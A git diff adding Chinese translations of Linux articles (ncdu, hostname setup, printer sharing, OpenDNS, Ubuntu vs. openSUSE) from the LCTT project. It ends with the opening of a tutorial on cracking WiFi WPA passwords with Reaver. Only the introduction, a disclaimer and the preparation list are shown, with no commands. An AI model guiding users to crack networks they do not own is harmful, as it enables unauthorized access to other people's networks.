并没有孤立地看待这个问题,他认为Linux的用户群“与Firefox或Apache等产品的用户群并不一样”,Linux“面向的并不是终端用户,而是操作系统类工程师”,因此它需要与“很多其他软件一同建立一个完整的系统 —— 其中大部分软件是捆绑发布的,并对用户透明(例如boot loader)。”就如同Torvalds在Linux最初的内核发布日志中亲自写道,“只有内核,你什么也干不了。” Android验证了Gillen和Sammer以上两人的观点,作为Linux最受欢迎的“衍生品”,Android所有的附加值都来自于Google以及Google专门为其开发的App生态系统。因此说,Linux的可塑性只是它成为真正产品的第一步,正如下文中这些最成功的Linux拥护者 —— 企业,所熟悉的一样。 -**企业的贡献:利还是弊?** +###企业的贡献:利还是弊? Linux的另一个特点,它是一个合作产物,由众多贡献者共同努力缔造而成。那么,这些贡献者从何而来? -答案:企业。企业是最主要的贡献者,但是他们忠于利益,支持Linux只是为了自身的未来发展。除去Red Hat(不包括Canonical,它是最为人所熟知的Linux发行商),排名前几位的贡献者主要包括Intel,IBM,德州仪器,甚至还有微软。 +答案:企业。企业是最主要的贡献者,但是他们忠于利益,支持Linux只是为了自身的未来发展。除去Red Hat(不同于Canonical,RedHat是最为人所熟知的Linux解决方案供应商),排名前几位的贡献者主要包括Intel,IBM,德州仪器,甚至还有微软。 Linux的所谓“灵活性”,即能够运行在多个平台或设备上的能力,很大程度上来源于以上这些贡献者,而他们的主要动力则来自于不断萌发的自身需要:例如,微软为Linux内核添加的代码,大大改善了Linux在其产品Hyper-V下的运行状况。 @@ -55,7 +55,7 @@ Mark Coggin,Linux红帽企业版的市场高级总监,他坚信,“最佳 还有一小部分观点认为,企业发行版Linux其实是一种“被绑架的Linux”,正如Gillen所提倡的 —— 这是一种让Linux“稍稍不那么贴合主流用户群需求”的方法。他确信,对Linux的商业化支持与商业优化“对Linux的开发模式大有裨益,而不是相反。” -**同样的,对Zenmlin来说,Linux开发“并不是一个零和游戏”** +###同样的,对Zenmlin来说,Linux开发“并不是一个零和游戏” “如果移动领域的某位开发者改善了耗电量,另一位在数据中心工作的开发者会因此而受益,他可以使用前者的改进来确保自己的数据服务运行得更有效率,”Zemlin说道,“共享开发正是Linux如此强大的原因。” @@ -65,7 +65,7 @@ Mark Coggin,Linux红帽企业版的市场高级总监,他坚信,“最佳 GPL协议第三版 —— 从Linux发布协议的一个早期版本改进而来 —— 当初修改该协议的部分原因就是为了应对上述行为。尽管如此,协议只能防止获取他人代码后作为Web服务重新开发。除此以外,并没有什么固有的方法(或法律手段)能够禁止公司或个人在代码开发完成后封闭独占这些改进后的代码,也许,这就是Linux对全世界自由开放所不可避免的一部分社会成本吧。 -**Linux面临的最大威胁** +###Linux面临的最大威胁 感谢开源机制,Linux始终能够作为一个开源项目,企业才无法像以前那么独断专行。那除了企业,现在什么才是Linux所面临的最大威胁呢? @@ -94,11 +94,11 @@ Linux所要面对的另外一个潜在威胁是公司兼并 —— 这并不会 简而言之,目前Linux面临的最大威胁来自于它自身 —— 无意中,衡量Linux产品的第一标准已经变成了如何让它看起来更吸引人。一直以来,Linux所固有的灵活性和可塑性帮助它战胜自满和企业兼并,克服重重困难,但如今还能否一如既往,情况并不明朗。 -**路在何方?** +###路在何方? 毫无疑问,无论从哪个层面来看,Linux现在都正处在关键的岔路口,它将去往何方,又将付出怎样的代价,都值得探讨。 -Linux最明显的未来之路,首先,它不仅仅是一块基石,或者说不仅仅是一种建立基础设施的途径,其次,它应当减少过多的产品形式。最后,真正的革新,不仅仅是拓展Linux本身,还要拓展其作为发现问题解决问题的创新办法,目前还很少有人如此对待Linux,要想真正做到这一点,除了呼吁更多的人改变对Linux的看法,还必须打破技术壁垒,将眼光放得更长远。 +Linux最明显的未来之路,首先,它不仅仅是一块基石,或者说不仅仅是一种建立基础设施的途径;其次,它应当减少过多的产品形式;最后,真正的革新,不仅仅是拓展Linux本身,还要拓展其作为发现问题解决问题的创新办法。目前还很少有人如此对待Linux,要想真正做到这一点,除了呼吁更多的人改变对Linux的看法,还必须打破技术壁垒,将眼光放得更长远。 对此,Coggin说道:“Linux正在逐渐成为一个更加成套或灵活的操作系统,进而超越其作为一个基础设施平台的作用。我们看到,开发者和架构师们正在使用Linux建立新一代解决方案,创造出新一代的企业架构。”这些工作中的大部分已经开始付诸实施,他说道,包括“云计算、大数据、移动领域以及社交网络等多个方面”。 @@ -106,11 +106,11 @@ Gillen也同意上述观点,Linux“即将成为公共云基础设施中非常 Baker说道,“Linux已经在运行着云业务,这是毫无疑问的,它需要巩固自己作为基础设施平台的位置 —— 这意味着它需要时刻保持最新的技术领先优势,例如ARM服务芯片、超大规模集成电路、网络设计,以及所有的软件设计数据中心。”上述这些工作应当可以作为开源系统硬件设计(例如[开源计算机项目][3])的有效补充。 -**Linux体系:提交、审核、采纳** +###Linux体系:提交、审核、采纳 伴随着正面需求不断增长,Linux的开发进程也在不断加快。 -Linux作为普遍存在的基础设施元素,其中一个潜在的缺点就是它有可能成为商业化的制度产物,正如曾经它所取代的闭源Unix们。但是Zemlin认为,Linux极大的灵活性在这方面发挥了作用:“十几年前,如果你问到Linus Torvalds或其他社区成员,Linux是否会比其他任何平台都要驱动更多的移动电话,他们当然会说‘不会’。所以,我们要做的只是注视Linux的发展,不要尝试去预测它,因为所有的预测几乎都会是错误的。” +Linux作为普遍存在的基础设施元素,其中一个潜在的缺点就是它有可能成为商业化的制度产物,正如曾经它所取代的闭源Unix们。但是Zemlin认为,Linux极大的灵活性在这方面发挥了作用:“十几年前,如果你问到Linus Torvalds或其他社区成员,Linux是否会比其他任何平台都要更多的装到移动电话里,他们当然会说‘不会’。所以,我们要做的只是注视Linux的发展,不要尝试去预测它,因为所有的预测几乎都会是错误的。” 另一个重要的未来发展方向,就像上面提到的,“独立于Google之外,在移动领域有更大的发展,”Baker如此预测道。像Mozilla专门针对移动电话的Firefox操作系统项目,就是这样一种典型的尝试,尽管在Google的存在下,以及Android如此巨大的市场份额面前,其成功的几率并不明朗。 @@ -124,7 +124,7 @@ Linux作为普遍存在的基础设施元素,其中一个潜在的缺点就是 via: http://www.networkworld.com/news/2013/101513-the-future-of-linux-evolving-274829.html -译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[校对者ID](https://github.com/校对者ID) +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/Trusty Tahr daily builds available for download.md b/published/201311/Trusty Tahr daily builds available for download.md similarity index 100% rename from published/Trusty Tahr daily builds available for download.md rename to published/201311/Trusty Tahr daily builds available for download.md diff --git a/published/201311/Ubuntu vs. openSUSE--Weighing different styles of corporate control.md b/published/201311/Ubuntu vs. openSUSE--Weighing different styles of corporate control.md new file mode 100644 index 0000000000..ee00d4f2b9 --- /dev/null +++ b/published/201311/Ubuntu vs. openSUSE--Weighing different styles of corporate control.md @@ -0,0 +1,31 @@ +Ubuntu vs. openSUSE:不同的公司控制风格的比较 +==== +*Ubuntu和OpenSUSE以不同的方式发展他们的Linux发行版。你觉得哪种好?* + +相当多的linux开发都接受来自那些有意改善Linux的公司的资助,这早已不是秘密(这里的Linux我指的是组成一个完整Linux系统的任何部分)。但是,许多公司进行资助的方式却有很大不同。 + +让我们看看两个很典型的例子:Ubuntu和openSUSE。 + +这两者都是Linux发行版。两者都是一个规模庞大、长期持续且非常成功的项目,并且它们都有一个包括志愿者和付费职员的大型社区。然而,两者之间的不同还是相当明显而且非常重要。 + +对于Ubuntu,它发展的主要方向是由Canonical的团队及其领袖Mark Shuttleworth决定的。当谈到Canonical真正“掌舵”Ubuntu时,我们能很快就会想起两个例子,例如Unity(Ubuntu自己的用户界面)和Mir(Ubuntu自己的显示服务)。在许多事情上,母公司都会在没有协商(可以这么说)的情况下设定目标、项目和优先级。例如,Ubuntu的Unity用户界面对于Canonical公司广泛战略目标来说是必须的。一些社区成员喜欢它,另一些则讨厌它。但是不管怎么说,Unity都已经成为Ubuntu的默认用户界面了。 + +但是这是一件坏事吗?我不确信它到底是好还是坏。这只是这个项目如何与公司相处的问题。 + +于此形成对比的是openSUSE,它也有一个公司掌控者,好吧,就是SUSE。关键的不同点是SUSE以“SUSE Linux企业版”的形式提供一个商业发行版。尽管openSUSE(社区Linux发行版)与SUSE Linux发行版(商业发行版)在技术上有许多重叠之处...然而专业的说,两者是不同的。 + +这意味着SUSE,作为一个公司,对待openSUSE时可以更多的采取放手不管的方式,他们的兴趣就是寻找那些被改善的关键性技术(例如,Btrfs文件系统),检测以及打包社区发行版中那些他们想包含在商业发行版中的软件包,但是社区发行版与商业发行版分离的方式与Canonical采取方式相比,给他们提供了更大的灵活性。在这方面,和Canonical不同。 + +这种方法和红帽对待Fedora的方式非常相似,已经成为了一个公司使用社区Linux发行版为基础,销售企业级的Linux系统的一种成功之路。 + +不过,坦白的说两种模式我都看到了优点和缺点。在组织上以及管理上(公众部分)他们都面临着各自的难题。实际上,这两种方法与它们的不同点比起来,相同点更多一些。 + +我非常愿意听到你们对此的看法。你是更喜欢你的以社区为基础的Linux发行版有一个单一的领袖?还是更喜欢你Linux发行版的大多数决定都是有社区驱动的呢?公司是否应该强势控制Linux发行版,还是应该大胆放手让社区来决定呢?请在评论里留言,让我们知道你的看法。 + +-------------------------------------------------------------------------------- + +via: http://www.networkworld.com/community/node/84250 + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/Upgrade To Linux Kernel 3.11.6 In Ubuntu.md b/published/201311/Upgrade To Linux Kernel 3.11.6 In Ubuntu.md similarity index 100% rename from published/Upgrade To Linux Kernel 3.11.6 In Ubuntu.md rename to published/201311/Upgrade To Linux Kernel 3.11.6 In Ubuntu.md diff --git a/published/Using Wine to Play Games On Linux? Here’s Why You Should Switch To Steam Right Now.md b/published/201311/Using Wine to Play Games On Linux? Here’s Why You Should Switch To Steam Right Now.md similarity index 100% rename from published/Using Wine to Play Games On Linux? Here’s Why You Should Switch To Steam Right Now.md rename to published/201311/Using Wine to Play Games On Linux? Here’s Why You Should Switch To Steam Right Now.md diff --git a/published/gcp – Advanced Command Line File Copier Inspired By cp.md b/published/201311/gcp – Advanced Command Line File Copier Inspired By cp.md similarity index 100% rename from published/gcp – Advanced Command Line File Copier Inspired By cp.md rename to published/201311/gcp – Advanced Command Line File Copier Inspired By cp.md diff --git a/published/201311/ncdu – Ncurses Based Disk Usage Utility.md b/published/201311/ncdu – Ncurses Based Disk Usage Utility.md new file mode 100644 index 0000000000..4b16d78489 --- /dev/null +++ b/published/201311/ncdu – Ncurses Based Disk Usage Utility.md @@ -0,0 +1,115 @@ +ncdu-基于Ncurses的磁盘实用工具 +=== + +几天前,我们讨论了[gt5][1](一个具有图形前端的磁盘实用工具)。接着上次,继续介绍这个命令系列:du替代命令,我们今天要讨论的是一个基于ncurese的磁盘实用工具,可以远程运行但没有图形环境。我们要介绍的这个命令行工具叫做**ncdu**。 + +###ncdu——基于Ncurses的du可选程序 + +这个命令行工具只是一个基于curses版本的标准du命令。它可帮助你在没有安装图形环境的情况下快速查看系统的磁盘使用统计。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-main.png) + +###检测环境 +- 操作系统 – Ubuntu 13.04 +- Shell – Bash 4.2.45 +- 应用 – ncdu 1.9 + +###简明教程 + +以下是一些ncdu命令的例子: + +**1. 默认输出** + +执行以下**ncdu**命令,你会观察到,它会先扫描磁盘然后降序显示各个目录下的空间使用情况。 + +**> 扫描** + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-0.png) + +**> 输出** + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-1.png) + +你会看到在输出里显示了一个磁盘使用情况表。假如你要扫描整个文件系统,你可以在运行**ncdu**命令时加上**-x**选项。 + +**2. 按i可以得到选定目录的更多信息** + +如你所见,第一项默认选中。想要知道选定项的更多信息,可以按**i**。 + +下面给出一个例子: + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-2.png) + +如你所见,显示了目录,类型,大小,实际占用空间等。项返回,再按一次**i**。 + +**3. 在ncdu的界面中删除目录** + +在ncdu的界面中删除目录,只需要选中目录,然后按**d**。 + +下面给出一个例子: + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-3.png) + +如你所见,ncdu请求用户确认。假如你选择yes,目录将会从系统中删除。 + +**4. 显示每一个目录的磁盘使用占总的磁盘空间的百分比** + +按**g**显示每个目录大小占总的磁盘空间的百分比。 + +下面给出一个例子: + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-4.png) + +如你所见,在输出结果的第二竖列显示了每个目录所占用的空间占总的磁盘空间的百分比。 + +**5. 获悉有关所有可使用快捷键的** + +按**?**可获得相关快捷键、格式以及有关ncdu版本的信息。 + +下面给出一些例子: + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-5-1.png) + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-5-2.png) + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-5-3.png) + +想知道有关命令行选项以及其它信息,可前往[ncdu命令的Man页面][2]。 + +###下载/安装/配置 + +以下是一些有关ncdu命令的重要链接 + + - [主页][3] + - [下载链接][4] + +当然,你也可以通过命令方式下载安装,比如apt-get,yum等。另外,Ubuntu用户可使用Ubuntu软件中心下载安装这个工具。 + +###优点 + + - 信息显示快速 + - 系统资源消耗小 + +###缺点 + + - 在大多数Linux发行版中均没有预安装 + - 有一定的学习曲线 + +###结论 + +假如你不满足于标准的du工具,想去寻找一款快速的,基于ncurses的类du工具,那么你可以试试ncdu。它提供了许多自定义选项。你一定会喜欢它的。 + +**你使用过ncdu,gt5或者其他任何类du工具吗?欢迎和我们分享你的使用经验。** + +--- + +via: http://mylinuxbook.com/ncdu-ncurses-based-disk-usage-utility/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://mylinuxbook.com/gt5-a-graphical-alternative-to-du/ +[2]:http://linux.die.net/man/1/ncdu +[3]:http://dev.yorhel.nl/ncdu +[4]:http://dev.yorhel.nl/ncdu diff --git a/published/ttyrec & ttyplay – Record And Play Terminal Sessions In Linux.md b/published/201311/ttyrec & ttyplay – Record And Play Terminal Sessions In Linux.md similarity index 100% rename from published/ttyrec & ttyplay – Record And Play Terminal Sessions In Linux.md rename to published/201311/ttyrec & ttyplay – Record And Play Terminal Sessions In Linux.md diff --git a/published/Daily Ubuntu Tips – Print From Shared Windows Printers.md b/published/Daily Ubuntu Tips – Print From Shared Windows Printers.md new file mode 100644 index 0000000000..a2baa08e4c --- /dev/null +++ b/published/Daily Ubuntu Tips – Print From Shared Windows Printers.md @@ -0,0 +1,50 @@ +每日Ubuntu小技巧-使用Windows共享打印机进行打印 +=== + +对于那些既有Windows电脑又有Ubuntu电脑但却只有一台打印机的用户,这篇博文向你展示如何在Windows中共享一个打印机,并允许Ubuntu使用它来打印。 + +几乎所有的打印机都默认支持Windows系统。许多打印机生产商都为Windows生产打印机,但为包括Ubuntu在内的Linux系统生产的并不多。所以,假如你有一台支持Windows的打印机,你可以在Windows机器上分享它,然后让其它系统来使用它来打印。 + +在几年之前,我遇到了这个问题,那时大多数打印机生产商不支持Linux系统。我有一台老式的只支持Windows和Mac OS X但却不支持Linux的打印机。(译注:除非是特别冷门的打印机,现在一般都可以在Linux进行打印操作了。在译者看来,本文的理由不成立,不过做法成立。) + +我在我的Windows机器上安装了打印机驱动,然后它就可以很好的工作咯。我的Windows机器使用它来打印非常好,但是我的Ubuntu却无法使用它来打印,因为打印机并不支持LAN接口。 + +所以,我在Windows上共享该打印机,然后我的Ubuntu机器就可以使用合适的字体和风格进行打印咯。假如你也遇到类似的情景,你可以按照下面的指导来操作。 + +首先,登入Windows,右击你要共享的打印机,然后点击‘**Printer properties(打印机属性)**’ + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu.png) + +接着,选择“**Sharing(共享)**”标签页,勾选‘**Share this printer(共享这台打印机)**’复选框来共享。记住共享打印机的名字,因为你要使用这个共享名来连接这台打印机。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu1.png) + +最后,以管理员权限运行命令行终端,运行以下命令以便于文件和打印机可以通过防火墙实现共享。 + + netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes + +接着,登入Ubuntu中,选择顶部面板右边的**齿轮**,然后选择**系统设置...** + +系统设置打开后,选择打印机,然后点击**添加**。当跳出来一个窗口让你选择设备时,选择‘**Windows Printer via SAMBA(使用SAMBA的Windows打印机)**’。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu2.png) + +键入Windows电脑的IP地址或者主机名,后面接着键入共享的打印机名。你可能需要键入你的windows验证信息(用户名和密码)。点击浏览来验证你是否可以看到打印机,当你完成这些后,就可以点击下一步继续。 + +接着,选择打印机品牌和型号。假如你在列表中看不到特定的型号,选择一个最接近它的然后继续。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu3.png) + +以上这些都搞定了之后,你的打印机就已安装好,可以使用喽。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu4.png) + +好好享受吧! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-print-from-shared-windows-printers/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md b/published/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md new file mode 100644 index 0000000000..879fade72e --- /dev/null +++ b/published/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md @@ -0,0 +1,32 @@ +每日Ubuntu小技巧-让鼠标适合左利手用户 +================================ + +电脑的鼠标被设计成使用食指(大拇指旁边的那个手指)完成大部分操作。默认情况下鼠标为右利手用户配置。打开电脑时,多数情况下你会使用食指完成点击动作。 + +事实上,许多左利手用户(俗称左撇子)习惯把鼠标放到键盘的左边,然后用中指进行单击操作。但这并不是左利手用户使用鼠标最好的方法。 + +这个简短的教程为想要正确地使用左手操作鼠标的用户而编写。它将会帮助左利手用户将鼠标设置成用食指点击鼠标主键的操作模式。 + +这个教程同样适用于右利手用户。如果鼠标为左利手用户设置,那么右利手用户可以使用这个教程将鼠标键切换回来。 + +好了,现在咱们开始吧,点击顶部右端面板中的齿轮按钮选择**System Settings(系统设置)**... + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/mouse-left-handed.png) + +然后在系统设置选项中选择**Mouse & Touchpad (鼠标和触摸板)**,打开后选择‘**Right(右)**’选项,这样就可以改变鼠标的主键以适应左利手用户。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/mouse-left-handed-1.png) + +改回左以适应右利手用户。改变将会在选择后立即生效。 + +就是这样了。现在左撇子用户可以将鼠标移到键盘左边,用左手的食指来正确地操作鼠标了。 + +使用愉快! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsmake-the-mouse-left-handed-for-left-hand-users/ + +译者:[Linchenguang](https://github.com/Linchenguang) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md b/published/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md new file mode 100644 index 0000000000..5eac92faa2 --- /dev/null +++ b/published/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md @@ -0,0 +1,36 @@ +每日Ubuntu小技巧-使用OpenDNS来保护你的电脑 +=== + +互联网是个大熔炉。无论是好人还是坏人,都可以和我们一样连接到网络。那些制作病毒感染人们电脑的坏蛋以及寻求保护人们的好人们全都连接到同一网络中。 + +就像人们所说的那样,互联网是过去所出现的一个最好的东东。它包含着任何人都可以获取的有价值的信息和资源,且大部分可以免费获取。一些最著名高校的人提供了免费的高质量课程,可供任何想学习的人来学习。今天,我们都可以连入互联网真是一件好事情。 + +但是有些事情你一定要记住,当你连入互联网时,你的电脑就成了攻击的目标。成为病毒,木马和其它程序破坏的目标。 + +正因为此,推荐连入互联网的电脑都要使用反病毒和反间谍软件来保护。在有些情况下,即使使用了这些软件也不能完全保证你的安全。再添加一个安全层总是一个好主意。 + +当寻找添加一个额外的安全层去保护你的机器时,使用OpenDNS的安全DNS框架可能会有帮助。因特网有许多部分组成,尽力对其每一部分都进行相应保护是保证安全的最好方法。 + +首先,你要在你的电脑上安装反病毒和反间谍软件。由于浏览因特网时允许你的电脑查询远程DNS服务器,因此使用受保护的安全的DNS服务器将是保护你电脑安全的好方法。(译注:我们认为,其实在Ubuntu上使用反病毒和反间谍软件并不太必要,但是使用OpenDNS来拦截对恶意网址的访问是有必要的。另外,使用国外的DNS可能会比较慢,也许过一段时间,国内也会出现类似的服务。) + +这是一个简明手册,告诉你如何在Ubuntu上配置OpenDNS框架以便保护你的电脑。 + + sudo gedit /etc/dhcp/dhclient.conf + +最后,在打开的文件中添加下面一行,然后保存。 + + supersede domain-name-servers 208.67.222.222,208.67.220.220; + +重启你的电脑,祝你玩的开心! + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/opendns-ubuntu.png) + +好好享受吧! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsprotect-your-computers-using-opendns-secure-dns-infrastructure/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/How To Display And Set Hostname in Linux.md b/published/How To Display And Set Hostname in Linux.md new file mode 100644 index 0000000000..92ef444893 --- /dev/null +++ b/published/How To Display And Set Hostname in Linux.md @@ -0,0 +1,145 @@ +如何在Linux中显示和设置主机名 +================================================================================ +![](http://linoxide.com/wp-content/uploads/2013/11/hostname-command-linux.jpg) + +随着连接到网络的计算机数量越来越多,每一台计算机都需要有一个属性来区别于其它计算机。和现实世界中的人一样,计算机也有一个叫做hostname(主机名)的属性。 + +### 什么是hostname ### + +从它的操作手册来看,hostname是用来显示系统的DNS名字以及为了显示和设置它的主机名或者NIS域名名字。所以hostname依赖于DNS(Domain Name System域名系统)或者NIS(Network Information System网络信息系统)。 + + +### 怎么显示hostname ### + +hostname是为每一个linux发行版的预安装命令。通过在控制台输入hostname,可以显示你的机器的hostname。这里有一个有个简单的命令及其输出。 + + + $ hostname + ubuntu + +上面的命令将会告诉你,计算机的名字是**ubuntu** 。 + + +### 如何设置hostname ### + +Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linux会让你输入主机名称的信息。不过,如果你愿意的话,你在之后设置也可以。 + +设置你的hostname,你可以使用下面的命令: + + # hostname dev-machine + + $ hostname + dev-machine + +你**需要使用root权限**,或者等同root的权限来设置/修改你计算机的主机名。“#”标识证明你是root用户。上述命令把你的计算机主机名设置成为**dev-machine**。如果你没有收到任何报错信息,那么你的hostname已经改变了。再一次使用hostname命令检查,看看结果。 + +使用hostname命令设置你的hostname **不是永久的** 。当你重启你的计算机,你的设定将会失效。 **为了永久改变** ,你必须手动修改hostname配置文件。 + +**Debian / Ubuntu系的Linux** + +你可以在 **/etc/hostname** 和 **/etc/hosts** 文件夹中找到这个文件 + +下面是每一个文件的内容 + +**/etc/hostname** + + # vi /etc/hostname + dev-machine + +**/etc/hosts** + + # vi /etc/hosts + 127.0.0.1 localhost + 127.0.0.1 dev-machine + +你将会发现不用重启你的linux它就即刻生效。 + +**RedHat / CentOS系的Linux** + +你可以在 **/etc/hosts** 和 **/etc/sysconfig/networks** 文件夹中找到这个文件。 + +下面是每一个文件的内容 + +**/etc/hosts** + + 127.0.0.1 localhost.localdomain localhost dev-machine + ::localhost 127.0.0.1 + +**/etc/sysconfig/network** + + NETWORKING=yes + NETWORKING_IPV6=no + HOSTNAME=dev-machine + +### 怎么显示DNS域名 ### + +来自上面的hostname的定义,hostname也可以显示你的Linux的DNS名字。如果你的hostname命令会显示你的hostname,那么dnsdomainname命令也就会显示你的域名。来看看这个简单的例子。 + + $ dnsdomainname + bris.co.id + +在本篇文章,dnsdomainname命令的结果是 **bris.co.id**。 + +如果你看见结果是 (**none**),那么你的机器**没有配置FQDN(Fully Qualified Domain Name 完全符合标准的域名)** 。dnsdomainname命令摘取来自**/etc/hosts**文件的信息。你应该配置它为FQDN格式。下面是一个简单的例子: + +**/etc/hosts** + + 127.0.0.1 localhost.localdomain localhost dev-machine + ::localhost 127.0.0.1 + 192.168.0.104 dev-machine.bris.co.id dev-machine + +为了显示更多的细节,你可以使用参数**-v** + + $ dnsdomainname -v + gethostname()=’dev-machine.bris.co.id’ + Resolving ‘dev-machine.bris.co.id’ … + Result: h_name=’dev-machine.bris.co.id’ + Result: h_aliases=’dev-machine’ + Result: h_addr_list=’192.168.0.104’ + +### 如何显示hostname的更多细节信息### + +Hostname命令可以使用多个参数和一些别名,比如dnsdomainname命令就是它的一个别名。这些参数在每日操作中是有用的。下面这些命令的结果是基于**/etc/hosts**的上述配置。 + +**显示IP地址** + + $ hostname -i + 192.168.0.104 + +**显示域名** + + $ hostname -d + bris.co.id + +**显示短主机名** + $ hostname -s + dev-machine + +*这个命令将会产生与只输入hostname同样的结果* + +**显示FQDN格式** + + $ hostname -f + dev-machine.bris.co.id + +**显示细节信息** + +所有的参数包括上述信息,都可以通过使用参数**-v** 和 **-d** 来概括。让我们来看一个例子。 + + $ hostname -v -d + gethostname()=’dev-machine.bris.co.id’ + Resolving ‘dev-machine.bris.co.id’ … + Result: h_name=’dev-machine.bris.co.id’ + Result: h_aliases=’dev-machine’ + Result: h_addr_list=’192.168.0.104’ + bris.co.id + +觉得熟悉吗?没错,运行结果与上面提到的 **dnsdomainname -v** 命令式相同的。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/display-set-hostname-linux/ + +译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/How to Crack a Wi-Fi Network's WPA Password with Reaver.md b/published/How to Crack a Wi-Fi Network's WPA Password with Reaver.md new file mode 100644 index 0000000000..45ce3b1c1c --- /dev/null +++ b/published/How to Crack a Wi-Fi Network's WPA Password with Reaver.md @@ -0,0 +1,154 @@ +如何使用Reaver破解Wi-Fi网络的WPA密码 +================================================================================ +![](http://img.gawkerassets.com/img/17pw3mgej3x93jpg/ku-xlarge.jpg) + +Wi-Fi网络能够让我们便利地访问因特网,但同时,我们又不希望隔壁抠门猥琐男总是蹭我们的网,所以自然要给WiFi加个密码,对吧?于是,好消息是,也许你已经看过我的另一篇文章,“[如何轻易破解WEP密码][1]”,所以你使用了更稳固的WPA安全协议。 + +但坏消息是,现在有一款自由开源新工具——[Reaver][2],已经挖掘出了无线路由器的一个漏洞,由此能够破解绝大多数路由器上的密码。今天,我就来一步步介绍,如何使用Reaver破解WPA/WPA2密码。最后我会给出相应的防范对策。 + +文章的第一部分,是使用Reaver破解WPA的详细步骤,读者可以看视频,也可以跟着下面的文字一起做。然后,我会解释Reaver的工作原理。最后,介绍如何防范Reaver攻击。 + +[http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][3] + +在正式开始之前,我还是要不厌其烦强调一下:知识就是力量,但是拥有力量不代表着可以为所欲为、触犯法律。同样,骑白马的不一定是王子,会开锁的也不一定是小偷。本文只是关于某些技术的实验与验证,只适用于学习。你知道的越多,就能够越好的保护自己。 + +###准备工作### + +首先,无需成为一名网络专家,学会使用复杂的命令行工具,你只需要准备一张空白DVD、一台能连接WiFi的电脑,并腾出几个小时时间,这就是我们基本需要的东西。要安装Reaver,可以有很多方法,但是这里我们建议你按照下面的指南来做: + +![](http://img.gawkerassets.com/img/194pra0777vwyjpg/ku-xlarge.jpg) + +- [**The BackTrack 5 Live DVD**][4]。BackTrack是一款支持自启动的Linux发行版,上面集成了大量的网络测试工具。虽然这对于安装、配置Reaver并不是必需的一个条件,但是对于大多数用户却是最简单一个方法。从[BackTrack的下载页面(传送门)][5]下载Live DVD,然后刻盘。这里你也可以下载镜像然后使用VMware安装,如果你不知道VMware是啥,额,那就还是刻盘吧。如图所示,下载的时候,下拉菜单选择BackTrack 5 R3版本、Gnome环境、根据你的CPU选择32或64位系统(如果这里不确定是32还是64,为了保险起见,请选择32位),下载类型选择ISO,然后就可以点击下载了。 + +- **配有DVD光驱、支持WiFi的电脑**。BackTrack支持大多数的笔记本无线网卡,这一点对于大多数读者应该没什么问题。同时,你的电脑需要有一个DVD光驱,这样才能从BackTrack光盘启动。我的测试环境是一台用了6年的MacBook Pro。 + +- **附近要有采用WPA加密的WiFi网络**。没WiFi网,你破解谁去 =。= ……一会我会在“Reaver的工作原理部分”介绍,WiFi防护设置是如何产生安全漏洞、WPA破解是如何成为可能的。 + +- 